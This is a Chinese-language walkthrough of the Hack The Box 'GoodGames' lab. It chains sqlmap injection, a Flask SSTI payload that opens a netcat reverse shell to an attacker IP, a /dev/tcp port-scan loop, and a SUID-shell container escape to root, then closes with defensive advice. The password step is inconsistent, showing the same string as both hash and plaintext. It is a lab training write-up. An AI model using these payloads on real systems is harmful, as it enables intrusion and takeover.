HTB-GoodGames-WriteUp
字数 1011 2025-08-29 08:29:58
HTB GoodGames 渗透测试详细教学文档
1. 初始信息收集
1.1 端口扫描
使用nmap进行基本扫描:
nmap -sV <目标IP>
发现开放80端口(HTTP服务)
1.2 Web应用初步分析
访问目标IP的80端口,发现一个登录页面,可能存在SQL注入漏洞
2. SQL注入攻击
2.1 使用sqlmap检测注入点
sqlmap -u "http://<目标IP>/login" --data="username=admin&password=123" --level=5 --risk=3
2.2 获取数据库信息
sqlmap -u "http://<目标IP>/login" --data="username=admin&password=123" --dbs
2.3 获取管理员凭据
通过注入获取到管理员账户:
用户名:admin@goodgames.htb
密码:superadministrator (MD5加密)
使用MD5解密工具解密后得到明文密码:superadministrator
3. 登录系统并发现新功能
3.1 使用获取的凭据登录
用户名:admin@goodgames.htb
密码:superadministrator
3.2 发现新URL
登录后在设置页面发现新的内部URL,需要将其添加到hosts文件:
echo "<目标IP> internal-admin.goodgames.htb" >> /etc/hosts
4. Flask后台分析
4.1 访问新发现的URL
访问internal-admin.goodgames.htb,发现是一个Flask后台管理系统
4.2 测试SSTI漏洞
在用户名修改处测试模板注入:
{{7*7}}
如果返回49,则确认存在服务器端模板注入(SSTI)漏洞
5. 利用SSTI获取反弹shell
5.1 构造反弹shell payload
使用以下Python代码生成反弹shell:
{{ ''.__class__.__mro__[1].__subclasses__()[414]('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <攻击者IP> <端口> >/tmp/f',shell=True) }}
5.2 设置监听
在攻击机上:
nc -lvnp <端口>
6. 容器内信息收集
6.1 确认处于Docker环境
ls / | grep dockerenv
cat /proc/1/cgroup
6.2 发现挂载目录
mount
发现/home/augustus目录是从宿主机挂载的
6.3 网络信息收集
ifconfig
发现Docker网络信息,推测宿主机IP可能是172.19.0.1
7. 端口扫描宿主机
7.1 升级终端
python -c 'import pty; pty.spawn("/bin/bash")'
7.2 扫描宿主机端口
for PORT in {0..1000}; do
timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open";
done
发现22端口开放
8. SSH连接宿主机
8.1 尝试SSH连接
ssh augustus@172.19.0.1
使用之前发现的用户名augustus,尝试弱密码或之前发现的密码
9. 权限提升
9.1 确认文件一致性
ls -alh /home/augustus
发现与容器内看到的文件一致
9.2 创建SUID shell
在容器内(root权限):
cp /bin/sh /home/augustus/
chmod 4755 /home/augustus/sh
在宿主机上:
/home/augustus/sh -p
获得root权限shell
10. 总结攻击路径
- 发现SQL注入漏洞 → 获取管理员凭据
- 登录系统 → 发现内部管理后台
- 发现SSTI漏洞 → 获取容器内root权限
- 利用挂载目录 → 逃逸到宿主机
- 利用共享文件 → 提升宿主机权限
防御建议
- 使用参数化查询防止SQL注入
- 对用户输入进行严格过滤,防止SSTI
- 避免在Docker容器中使用root权限
- 谨慎处理容器挂载目录权限
- 使用强密码策略
- 限制内部服务的网络暴露